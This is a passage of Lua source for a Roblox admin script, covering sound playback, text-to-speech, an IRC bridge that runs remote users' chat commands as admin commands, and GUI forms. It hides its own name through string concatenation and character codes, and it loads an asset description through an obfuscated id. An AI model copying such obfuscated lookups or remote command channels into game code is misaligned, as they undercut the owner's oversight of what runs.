3359 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3360 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3361 end
3362 end
3363 end
3364 end
3365
3366 for _,JSONID in pairs(SoundJSONs) do
3367 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3368 local SoundInfo = MARKET:GetItemInfo(ID, true)
3369 local FullName = SoundInfo.Name
3370 local CreatorName = SoundInfo.Creator.Name
3371 SoundList[Name] = {ID, FullName, CreatorName}
3372 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3373 end
3374 end
3375
3376 if not CORE:NilPlayer(TellSync) then
3377 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3378 end
3379end
3380
3381function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3382 if not Volume then Volume = 0.5 end
3383 if not Pitch then Pitch = 1 end
3384 if tonumber(ID) then ID = "rbxassetid://"..ID end
3385 if Looped == nil then Looped = false end
3386
3387 local Sound = Instance.new("Sound", Parent)
3388 Sound.Pitch = Pitch
3389 Sound.Volume = Volume
3390 Sound.SoundId = ID
3391 Sound.Looped = Looped
3392 return Sound
3393end
3394
3395function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3396 if not Player or not ID then return nil end
3397 if NotifySounds[ID] then ID = NotifySounds[ID] end
3398 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3399 if Settings.EnableSounds or OverrideSettings then
3400 coroutine.wrap(function()
3401 wait()
3402 ClientSound:Play()
3403 Delay(5, function() ClientSound:Destroy() end)
3404 end)()
3405 end
3406 return Sound
3407end
3408
3409function SOUND:BindButton(Button)
3410 if not Button then return end
3411 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3412 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3413end
3414
3415function SOUND:StopGlobalSound()
3416 if Sound and Sound.Parent then
3417 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3418 Sound.Parent:Destroy()
3419 end
3420
3421 Sound:Stop()
3422 Sound:Destroy()
3423 Sound.SoundId = ""
3424 end
3425end
3426
3427function SOUND:PlayGlobalSound(ID, ShowInfo)
3428 SOUND:StopGlobalSound()
3429 if ShowInfo == nil then ShowInfo = true end
3430 local SoundID = ID
3431 local SoundName = nil
3432 local SoundCreator = nil
3433 local Pitch = 1
3434
3435 for Name,Info in pairs(SoundList) do
3436 if type(SoundID) == "string" then
3437 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3438 SoundID = Info[1]
3439 SoundName = Info[2]
3440 SoundCreator = Info[3]
3441 end
3442 else
3443 break
3444 end
3445 end
3446
3447 if tonumber(SoundID) and not SoundName then
3448 local Info = MARKET:GetItemInfo(SoundID, true)
3449 if Info then
3450 SoundName = Info.Name
3451 SoundCreator = Info.Creator.Name
3452 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3453 SoundID = nil
3454 end
3455 end
3456 end
3457
3458 if tonumber(SoundID) then
3459 if SoundID == 131201443 then Pitch = -1 end
3460 if SoundID == 130775695 then Pitch = 0.8 end
3461 if SoundID == 144035866 then Pitch = 0.8 end
3462
3463 local SoundParent = Server.Workspace
3464 if IsSB then
3465 SoundParent = Instance.new("Script", Workspace)
3466 SoundParent.Name = "M".."ML'S Admin Sound"
3467 end
3468 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3469 Sound.Name = "MML's Admin Sound "..SoundID
3470 Sound:Play()
3471 if ShowInfo == true then
3472 for _,Player in pairs(Server.Players:GetPlayers()) do
3473 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3474 end
3475 end
3476 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3477 end
3478end
3479
3480function SOUND:ConvertText(Text)
3481 Text = string.lower(tostring(Text))
3482 local Letters = {}
3483 local IDs = {}
3484 for Rule,Replace in pairs(TextConverter.Pronounce) do
3485 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3486 end
3487 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3488 local Start, End = string.find(Text, string.lower(Rule))
3489
3490 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3491 Text = string.gsub(Text, string.lower(Rule), Replace)
3492 end
3493 end
3494 for i = 1,#Text do
3495 table.insert(Letters, string.sub(Text,i,i))
3496 end
3497 for Num = 1,#Letters do
3498 if not Letters[Num] then break end
3499 local Letter = Letters[Num]
3500
3501 local function AddLetter()
3502 table.insert(IDs, TextConverter.LetterSounds[Letter])
3503 end
3504
3505 if Letter ~= "~" then
3506 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3507 table.insert(IDs, TextConverter.LetterSounds["oo"])
3508 table.remove(Letters, Num + 1)
3509 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3510 table.insert(IDs, TextConverter.LetterSounds["oo"])
3511 table.remove(Letters, Num + 1)
3512 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3513 table.insert(IDs, TextConverter.LetterSounds["th"])
3514 table.remove(Letters, Num + 1)
3515 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3516 table.insert(IDs, TextConverter.LetterSounds["sh"])
3517 table.remove(Letters, Num + 1)
3518 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3519 table.insert(IDs, TextConverter.LongVowels["e"])
3520 table.remove(Letters, Num + 1)
3521 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3522 table.insert(IDs, TextConverter.LetterSounds["wh"])
3523 table.remove(Letters, Num + 1)
3524 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3525 table.insert(IDs, TextConverter.LetterSounds["ch"])
3526 table.remove(Letters, Num + 1)
3527 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3528 table.insert(IDs, TextConverter.LetterSounds["f"])
3529 table.remove(Letters, Num + 1)
3530 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3531 table.insert(IDs, TextConverter.LetterSounds[Num])
3532 Letters[Num + 1] = "j"
3533 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3534 table.insert(IDs, TextConverter.LetterSounds["oo"])
3535 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3536 table.insert(IDs, TextConverter.LongVowels["e"])
3537 table.remove(Letters, Num + 1)
3538 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3539 table.insert(IDs, TextConverter.LongVowels["e"])
3540 table.remove(Letters, Num + 1)
3541 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3542 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3543 table.insert(IDs, TextConverter.LetterSounds["s"])
3544 Letters[Num + 1] = "~"
3545 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3546 table.insert(IDs, TextConverter.LongVowels[Letter])
3547 Letters[Num + 2] = "~"
3548 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3549 table.insert(IDs, TextConverter.LongVowels["i"])
3550 Letters[Num + 1] = "~"
3551 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3552 table.insert(IDs, TextConverter.LongVowels["o"])
3553 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3554 table.insert(IDs, TextConverter.LongVowels["i"])
3555 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3556 AddLetter()
3557 table.remove(Letters, Num + 1)
3558 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3559 Letters[Num] = "~"
3560 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3561 AddLetter()
3562 table.remove(Letters, Num + 1)
3563 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3564 AddLetter()
3565 table.remove(Letters, Num + 1)
3566 elseif Letters[Num+1] == Letter then
3567 table.remove(Letters, Num)
3568 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3569 AddLetter()
3570 table.remove(Letters, Num)
3571 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3572 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3573 elseif TextConverter.LetterSounds[Letter] then
3574 AddLetter()
3575 elseif STRING:IsSpacer(Letter) then
3576 table.insert(IDs, "Rest")
3577 end
3578 end
3579 end
3580
3581 return IDs
3582end
3583
3584function SOUND:StopSpeaking() coroutine.wrap(function()
3585 NoSpeak = true
3586 wait(1)
3587 NoSpeak = false
3588 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3589 if Obj.Name == "M".."M".."L Speak Sound" then
3590 Obj:Destroy()
3591 end
3592 end
3593end)() end
3594
3595function SOUND:SayConvertedText(IDs, Parent)
3596 if not Parent then Parent = Server.Workspace end
3597 local Sounds = {}
3598 for _,Data in pairs(IDs) do
3599 if NoSpeak and Parent == Server.Workspace then
3600 break
3601 end
3602 local Length = 0.3
3603 if Data ~= "Rest" then
3604 local ID = Data[1]
3605 Length = Data[2]
3606
3607 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3608 Sound.Name = "MML Speak Sound"
3609 table.insert(Sounds, Sound)
3610 Sound:Play()
3611 if Length then
3612 coroutine.wrap(function()
3613 wait(Length)
3614 Sound:Stop()
3615 end)()
3616 end
3617 end
3618 if not Length then Length = 0.3 end
3619 wait(Length/2)
3620 end
3621 coroutine.wrap(function()
3622 wait(1)
3623 for _,Sound in pairs(Sounds) do
3624 Sound:Destroy()
3625 end
3626 end)()
3627end
3628
3629local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3630
3631function SOUND:BeepPlayer(Player)
3632 if Player:FindFirstChild("PlayerGui") then
3633 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3634 Beep.Name = "Annoy"
3635 Beep:Play()
3636 end
3637end
3638
3639function SOUND:ClearInfo()
3640 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3641end
3642
3643-- IRC functions --
3644
3645function IRC:GenerateName()
3646 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3647end
3648
3649function IRC:AddChat(Name, Data, IsError)
3650 if not IsError then IsError = false end
3651 CORE:Log(IRC.Logs, Name, Data)
3652 table.insert(IRC.Chats, {Name, Data, IsError})
3653 IRC.MessageAdded:Fire(Name, Data, IsError)
3654end
3655
3656function IRC:Post(URL,Data)
3657 if Data and Data ~= "" then
3658 local Suc,Resp = ypcall(function()
3659 return Server.HS:PostAsync(
3660 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3661 Data,
3662 Enum.HttpContentType.ApplicationUrlEncoded
3663 )
3664 end)
3665 if not Suc then
3666 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3667 return false
3668 end
3669 IRC.SessionCounter = IRC.SessionCounter + 1
3670 return Resp
3671 else
3672 IRC:AddChat("[ CLIENT ]", "Unknown error")
3673 end
3674end
3675
3676function IRC:Send(Data)
3677 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3678end
3679
3680function IRC:GetData()
3681 return IRC:Post("s","&s="..IRC.SessionID)
3682end
3683
3684function IRC:Connect()
3685 return IRC:Post("n","&nick="..IRC.NickName)
3686end
3687
3688function IRC:Join(Channel)
3689 if not Channel then
3690 AddChat("[ CLIENT ]", "No channel specified!")
3691 return false
3692 else
3693 local Channel = string.lower(Channel)
3694 if string.sub(Channel,1,1) ~= "#" then
3695 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3696 return false
3697 end
3698 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3699 IRC:Send("JOIN "..Channel)
3700 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3701 return true
3702 end
3703end
3704
3705function IRC:Pong(Data)
3706 return IRC:Send("PONG :"..Data)
3707end
3708
3709function IRC:Quit(Reason)
3710 IRC.Stop = true
3711 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3712end
3713
3714function IRC:ReceiveData()
3715 IRC.Stop = false
3716 local Data = IRC:GetData()
3717 if Data then
3718 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3719 end
3720 while Data and not Stop do
3721 local Data = IRC:GetData()
3722 if Data and #Data > 0 then
3723 IRC:HandleResponse(REMOTE:Decode(Data))
3724 end
3725 wait(2) -- Don't spam the server
3726 end
3727 if not Data then
3728 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3729 end
3730 if Stop == true then
3731 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3732 end
3733end
3734
3735function IRC:ConnectToServer(Server)
3736 if Connected then
3737 if not IRC.Servers[Server] then
3738 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3739 return false
3740 end
3741 IRC:Quit("New Connection")
3742 end
3743 local Response = IRC:Connect()
3744 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3745 local Data = REMOTE:Decode(Response)
3746 IRC.SessionID = Data[2]
3747 wait(1)
3748 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3749 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3750 IRC:Quit()
3751 IRC:ConnectToServer(Server)
3752 end
3753 IRC.Connected = true
3754 IRC:Join(Settings.IRCChannel)
3755 IRC:ReceiveData()
3756 IRC.Connected = false
3757 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3758end
3759
3760function IRC:FindUser(UserName)
3761 for UserID,User in pairs(IRC.Users) do
3762 if string.lower(User) == string.lower(UserName) then
3763 return UserID
3764 end
3765 end
3766 return nil
3767end
3768
3769function IRC:HandleResponse(Data)
3770 if type(Data) ~= "table" then
3771 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3772 ypcall(function()
3773 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3774 end)
3775 return false
3776 end
3777 for _,Output in pairs(Data) do
3778 if type(Output) == "table" and Output[2] then
3779 local ID = string.upper(Output[2])
3780 if not IRC.Ignore[ID] then
3781 if ID == "PING" then
3782 IRC:Pong(Output[4][1])
3783 elseif ID == "PRIVMSG" then
3784 local SenderDetails = Output[3]
3785 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3786 local Channel = string.lower(Output[4][1])
3787 if Channel == IRC.NickName then
3788 Channel = Sender
3789 -- TODO: Handle PM's
3790 end
3791 local Message = Output[4][2]
3792 if Message ~= nil then
3793 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3794 if string.find(Message,":") then
3795 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3796 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3797 IRC:AddChat(IRCUser, IRCMessage)
3798 end
3799 else
3800 IRC:AddChat("[ IRC ] "..Sender,Message)
3801 for _,Name in pairs(Settings.IRCCommandExecuters) do
3802 if string.lower(Name) == string.lower(Sender) then
3803 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3804 break
3805 end
3806 end
3807 end
3808 else
3809 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3810 end
3811 elseif ID == "NICK" then
3812 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3813 -- change nickname?
3814 elseif ID == "433" or ID == "451" then
3815 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3816 IRC:Quit("Nickname in use, rejoining with new name")
3817 IRC.NickName = IRC:GenerateName()
3818 wait(2) -- wait for old sessions to end
3819 IRC:ConnectToServer(Settings.IRCServer)
3820 elseif ID == "353" then
3821 if Data[4][4][4] then
3822 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3823 table.insert(IRC.Users, Output)
3824 end
3825 end
3826 elseif ID == "QUIT" or ID == "PART" then
3827 for User in string.gmatch(Data[1][3], "[^!~]+") do
3828 if IRC:FindUser(User) then
3829 IRC:AddChat("[ IRC ]", User.." has left")
3830 table.remove(IRC.Users, IRC:FindUser(User))
3831 end
3832 end
3833 elseif ID == "JOIN" then
3834 for User in string.gmatch(Data[1][3], "[^!~]+") do
3835 if not string.find(User, "qwebirc") then
3836 IRC:AddChat("[ IRC ]", User.." has joined")
3837 table.insert(IRC.Users,w)
3838 end
3839 end
3840 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3841 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3842 --IRC:Quit("Connection lost")
3843 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3844 --IRC:ConnectToServer(Settings.IRCServer)
3845 elseif IRC.Codes[ID] then
3846 --print(ID)
3847 --print(Data[i][4][2])
3848 --print(Data[i][4][2])
3849 elseif ID == "KICK" then
3850 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3851 IRC:Quit("Kicked from IRC")
3852 elseif ID then
3853 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3854 else
3855 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3856 end
3857 end
3858 else
3859 if Output == false then return false end -- sneeky server
3860 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3861 end
3862 end
3863end
3864
3865-- GUI functions --
3866
3867function GUI:GetColor(ColorName)
3868 if not ColorName then ColorName = Settings.ColorScheme end
3869 return Colors[string.upper(ColorName)]
3870end
3871
3872function GUI:ContrastColor(Color)
3873 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3874 if not Color then Color = GUI:GetColor() end
3875 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3876end
3877
3878
3879function GUI:GetNameColor(Name)
3880 local Val = 0
3881 for i = 1, #Name do
3882 local CVal = string.byte(string.sub(Name, i, i))
3883 local RevIndex = #Name - i + 1
3884 if #Name%2 == 1 then
3885 RevIndex = RevIndex - 1
3886 end
3887 if RevIndex%4 >= 2 then
3888 CVal = -CVal
3889 end
3890 Val = Val + CVal
3891 end
3892 local Index = Val%8 + 1
3893
3894 return BrickColor.new(ChatColors[Index])
3895end
3896
3897function GUI:Color3ToHex(Color)
3898 local function ConvertNumber(Number)
3899 local HexString = "0123456789abcdef"
3900 local Byte = ""
3901 while Number > 0 do
3902 local Calc = math.fmod(Number, 16)
3903 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3904 Number = math.floor(Number / 16)
3905 end
3906 if Calc == "" then
3907 Byte = "00"
3908 elseif #Byte == 1 then
3909 Byte = "0"..Byte
3910 elseif Byte == "" then
3911 Byte = "00"
3912 end
3913 return Byte
3914 end
3915 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3916end
3917
3918function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3919 if not Player then return nil end
3920 if not Player:FindFirstChild("PlayerGui") then return nil end
3921 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3922 if not TitleText then TitleText = "Unknown" end
3923 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3924 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3925 if not IconID then IconID = 19919809 end
3926 if ShowFormButtons == nil then ShowFormButtons = true end
3927 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3928 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3929 if AutoOffset == nil then AutoOffset = true end
3930 if Icons[IconID] then IconID = Icons[IconID] end
3931 if TweenPosition == nil then TweenPosition = true end
3932 if NoModal == nil then NoModal = false end
3933 if NoScrollFrame == nil then NoScrollFrame = false end
3934
3935 local IsClosed = false
3936 local Minus = nil
3937 local Offset = 0
3938 local ContentType = "ScrollingFrame"
3939 local TweenSpeed = 0.3
3940
3941 if AutoOffset then
3942 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3943 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3944 if Item.IsActive.Value == true then
3945 if Item.IsTrueForm.Value == true then
3946 Offset = Offset + 50
3947 end
3948 end
3949 end
3950 end
3951 end
3952
3953 if NoScrollFrame == true then
3954 ContentType = "Frame"
3955 end
3956
3957 SOUND:PlayNotification(Player, 155331654)
3958
3959 local Position = Position + UDim2.new(0,Offset,0,Offset)
3960 local MinimizePos = Position
3961
3962 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3963 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3964 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3965
3966 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3967 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3968 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3969 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3970 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3971 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3972 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3973 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3974 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3975
3976 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3977 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3978 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3979 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3980 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3981
3982 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3983
3984 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3985
3986 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3987 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3988 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3989 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3990 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3991 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3992
3993 if Settings.EnableTaskBar then
3994 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3995 else
3996 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3997 Title.Size = UDim2.new(1, -95, 0, 25)
3998 end
3999
4000 if not ShowFormButtons then
4001 X:Destroy()
4002 TitleEnd:Destroy()
4003 Title.Size = UDim2.new(1, -55, 0, 25)
4004 end
4005
4006 local function CloseForm()
4007 if IsClosed == false then
4008 IsActive.Value = false
4009 IsClosed = true
4010 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4011 Closed:Fire()
4012 SOUND:PlayNotification(Player, 206375138)
4013 end
4014 end
4015
4016 local function MinimizeForm()
4017 if IsActive.Value == true then
4018 IsActive.Value = false
4019 Minimized:Fire()
4020 MinimizePos = Dragger.Position
4021 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4022 end
4023 end
4024
4025 local function RestoreForm()
4026 if IsActive.Value == false then
4027 IsActive.Value = true
4028 Restored:Fire()
4029 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4030 end
4031 end
4032
4033 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4034 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4035
4036 Close.OnInvoke = CloseForm
4037 Minimize.OnInvoke = MinimizeForm
4038 Restore.OnInvoke = RestoreForm
4039
4040 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4041
4042 if TaskBar then
4043 TaskBar:WaitForChild("AddForm")
4044 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4045 end
4046
4047 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4048end
4049
4050function GUI:CoreGui(Player, Type, Enable)
4051 local Parent = Player:FindFirstChild("Backpack")
4052 if not Parent then Parent = Player.Backpack end
4053 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4054end
4055
4056function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4057 if not Player or not Player:IsA("Player") then return nil end
4058 if BodyText == "" then return nil end
4059 if not Player:FindFirstChild("PlayerGui") then return nil end
4060
4061 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4062 local TextColor = GUI:GetColor(MessageSplit[1])
4063 if TextColor then BodyText = MessageSplit[2] end
